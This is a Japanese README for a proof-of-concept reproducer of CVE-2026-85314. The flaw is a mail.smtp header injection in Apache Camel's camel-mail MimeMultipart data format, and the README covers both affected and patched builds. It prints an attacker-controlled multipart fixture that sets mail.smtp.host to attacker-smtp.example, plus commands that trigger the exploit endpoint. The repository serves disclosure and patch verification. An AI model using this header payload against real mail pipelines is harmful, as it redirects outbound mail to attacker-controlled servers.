oscerd/cve-2026-85314CVE-2026-85314 の実行可能な概念実証（PoC）再現ツール。Camel Spring Boot および Camel Quarkus における camel-mail MimeMultipart の mail.smtp ヘッダーインジェクションを実演し、修正済みの制御も含む。
MimeMultipart ヘッダーインジェクション (mail.smtp*)Apache Camel の脆弱性に対する実行可能な概念実証（PoC）再現プログラムです。この脆弱性では、camel-mail の MimeMultipart データフォーマットが、アンマーシャル時にメッセージのヘッダーを素の DefaultHeaderFilterStrategy を用いて Exchange にマッピングしていましたが、この戦略は mail.smtp. / mail.smtps. 名前空間を除去しません。CVE-2026-46584 はメールヘッダーがフィルタリングされずに Exchange に到達する経路を塞ぎましたが、このデータフォーマットにはフィルタリングされない経路が残っていました。これらのヘッダー名には Camel プレフィックスが付かないため（コンシューマーのヘッダーフィルターもそれらをブロックしません）、また mail.smtp 名前空間は下流のメールプロデューサーがどのように接続して送信するかを制御します。したがって、マルチパートメッセージの外部送信者は JavaMail セッションプロパティを注入し、メール接続をリダイレクトできました（CWE-20）。これは新しい欠陥クラスではなく、CVE-2026-46584 の不完全な修正です。
| ランタイム | ディレクトリ | スタック |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-mail 4.22.0（影響あり、修正版 4.22.1） |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-mail（Camel 4.22.0、影響あり、修正対照 CQ 3.40.0 / Camel 4.22.1） |
両モジュールとも、実際の MimeMultipartDataFormat に対して影響を受ける動作および修正済みの動作を実演します。
ドライバーは、JavaMail セッションプロパティを MIME ヘッダーとして含む攻撃者制御のマルチパートメッセージ（インラインヘッダーモード、修正版自身の MimeMultipartDataFormatTest を反映）をアンマーシャルし、そのうちどれが Exchange に到達したかを報告します：
mail.smtp.host: attacker-smtp.example
mail.smtp.port: 2525
mail.smtps.auth: false
X-Normal: keep-me <- an unrelated header, should always survive
Content-Type: text/plain
Body text
mail.smtp.host、mail.smtp.port、mail.smtps.auth はすべてアンマーシャル後も残り、Exchange ヘッダーになります。下流のメールプロデューサーがこれらを読み取るため、送信者はメールの送信先をリダイレクトできます。mail.smtp.* 名前空間はアンマーシャル時にフィルタリングされ（MailHeaderFilterStrategy 経由）、無関係な X-Normal ヘッダーは保持されます。# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: mail.smtp* injected = true; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85314-mail-mime-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): mail.smtp* injected = true
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: mail.smtp* injected = false
| プロパティ | 値 |
|---|---|
| コンポーネント | camel-mail (MimeMultipartDataFormat、アンマーシャル) |
| CWE | CWE-20 (不適切な入力検証) |
| 重大度 | MEDIUM |
| 攻撃ベクトル | 外部送信者のマルチパートメッセージが mail.smtp.* MIME ヘッダーを運び、アンマーシャル時にそれらが Exchange にマッピングされる |
| 影響 | 注入された JavaMail セッションプロパティが、下流のメールプロデューサーの接続先や送信方法を操作する |
| 影響を受けるバージョン | 4.0.0 から 4.18.5 未満、4.19.0 から 4.22.1 未満 |
| 修正済みバージョン | 4.18.5、4.22.1、4.23.0 |
| JIRA | CAMEL-24419 |
| 関連 | CVE-2026-46584 の不完全な修正 |
| クレジット | Claude Security Scan Tool |
アドバイザリ: https://camel.apache.org/security/CVE-2026-85314.html
Quarkus の影響を受けるモジュールは CQ 3.39.0 (Camel 4.22.0) でビルドされています。修正済みのコントロールは CQ 3.40.0 (Camel 4.22.1) です。
MimeMultipartDataFormat は DefaultHeaderFilterStrategy の代わりに MailHeaderFilterStrategy を使用するようになったため、mail.smtp. / mail.smtps. 名前空間は、メールコンシューマーが受信側でフィルタリングするのとまったく同じようにアンマーシャル時にフィルタリングされます (CAMEL-23522) — これにより CVE-2026-46584 が残していた経路が塞がれます。
メールプロデューサーの前に removeHeaders("mail.smtp*") を使って、データフォーマット適用後に名前空間を除去してください。
このリポジトリは教育および防御目的で公開されています。Apache Camel ユーザーが脆弱性を理解し、影響を受けているかどうかを確認し、アップグレードによって解決されることを検証できるようにするためです。マルチパートメッセージはプロセス内の無害なフィクスチャであり、attacker-smtp.example はプレースホルダーで、メールは送信されません。所有または運用していないシステムに対してこの資料を使用しないでください。